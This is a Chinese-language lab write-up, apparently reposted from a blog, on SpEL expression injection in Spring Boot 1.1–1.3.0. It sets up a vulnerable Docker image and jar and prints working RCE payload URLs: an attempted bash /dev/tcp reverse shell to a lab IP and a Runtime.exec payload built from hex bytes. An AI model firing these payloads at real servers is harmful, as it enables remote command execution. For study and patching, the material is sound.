springboot_spEL表达式注入

目录

linux 【centos7 x64】

windows 7 32位


影响版本:

1.1.0-1.1.12
1.2.0-1.2.7
1.3.0
修复方案:升至1.3.1或以上版本
我的测试环境:SpringBoot 1.0

简介

Spring Expression Language是一种强大的表达式语言,Spring开发中经常会用到。正是因为功能强大,导致在某些情况下,用户可以从外部注入SpEl表达,导致命令执行。

原理

  • spring boot 处理参数值出错,流程进入 org.springframework.util.PropertyPlaceholderHelper 类中
  • 此时 URL 中的参数值会用 parseStringValue 方法进行递归解析。
  • 其中 ${} 包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞。
     

linux 【centos7 x64】


[root@localhost ~]# docker pull c1o2a3/springboot_spel_rce_bug:1.0
[root@localhost ~]# sudo docker run -d -p 9091:9091 c1o2a3/springboot_spel_rce_bug:1.0



http://192.168.18.131:9091/article?id=1

http://192.168.18.131:9091/article?id=${20/4}

扫描二维码关注公众号,回复: 11978129 查看本文章

直接使用反弹shell----不可以

http://192.168.18.131:9091/article?id=${bash%20-i%20%3E&%20/dev/tcp/192.168.18.168/443%200%3E&1}



windows 7 32位

jar包的需要jre1.8环境运行

https://www.oracle.com/java/technologies/javase-jre8-downloads.html

 springboot-spel-rce-1.0-SNAPSHOT.jar  上网搜索下载

http://192.168.18.129:9091/article?id=1

http://192.168.18.129:9091/article?id=${40*5} 

 




# coding: utf-8

result = ""
target = 'calc'
for x in target:
    result += hex(ord(x)) + ","
print(result.rstrip(','))


root@kali:~# python vb.py
0x63,0x61,0x6c,0x63

http://192.168.18.129:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x63,0x61,0x6c,0x63}))}

猜你喜欢

转载自blog.csdn.net/weixin_43650289/article/details/107336833
今日推荐